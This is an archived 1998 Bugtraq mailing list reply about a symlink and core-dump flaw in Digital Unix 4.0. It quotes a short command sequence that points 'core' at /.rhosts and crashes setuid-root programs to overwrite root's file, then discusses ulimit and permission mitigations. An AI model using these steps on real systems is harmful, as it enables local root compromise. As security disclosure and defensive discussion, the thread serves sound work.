Bugtraq mailing list archives
Re: Symlink problem (Tested only on a Digital Unix 4.0)
From: jmcdonal () UNF EDU (John McDonald)
Date: Tue, 7 Apr 1998 13:09:55 -0400
It seems also that if you do not have read privileges on a program that you execute, it will not core dump. So another quick fix to this problem would be to take read permissions away on all your suids. humble On Tue, 7 Apr 1998, Paul Szabo wrote:
(Aleph1 and rusty: please ignore my previous, similar message...) rusty () mad it wrote:Symlink problem in Digital Unix 4.0 ... Starting 2 suid root programs ... and killing them with -11 flag ... $ ln -s /.rhosts core $ ping somehost & [1] 1337 $ ping somehost & [2] 31337 $ kill -11 31337 $ kill -11 1337 [1] Segmentation fault /usr/sbin/ping somehost (core dumped) [2] +Segmentation fault /usr/sbin/ping somehost (core dumped) $ ls -l /.rhosts -rw------- 1 root system 385024 Mar 29 05:17 /.rhosts Other platforms: SunOs 4.1.x 5.5.x Doesn't work Linux 2.0.x Doesn't work Digital Unix 4.0d Doesn't work Others (note tested yet)I can reproduce this on Digital Unix 4.0B (OSF1 V4.0 564), with just one setuid program: % unsetenv DISPLAY; xterm The only defence I can offer is to put the following line into the file /sbin/rc3 (this is a sh script; most processes run by users are descendants of this): ulimit -h -c 0 However this does not work for processes started from /etc/inittab: getty (console and tty) logins. Instead of modifying /sbin/rc3, you could try changing /etc/inittab to read something like: s3:3:wait:sh -c 'ulimit -h -c 0; /sbin/rc3 < /dev/console > /dev/console 2>&1' cons:1234:respawn:sh -c 'ulimit -h -c 0; /usr/sbin/getty console console vt100' Obviously this prevents creating core files in all cases; fortunately our users never need them to debug their own programs. Paul Szabo - System Manager // School of Mathematics and Statistics psz () maths usyd edu au // University of Sydney, NSW 2006, Australia
Current thread:
- Symlink problem (Tested only on a Digital Unix 4.0) root (Apr 06)
- Re: Symlink problem (Tested only on a Digital Unix 4.0) Jonathan A. Zdziarski (Apr 06)
- <Possible follow-ups>
- Re: Symlink problem (Tested only on a Digital Unix 4.0) Paul Szabo (Apr 06)
- Re: Symlink problem (Tested only on a Digital Unix 4.0) John McDonald (Apr 07)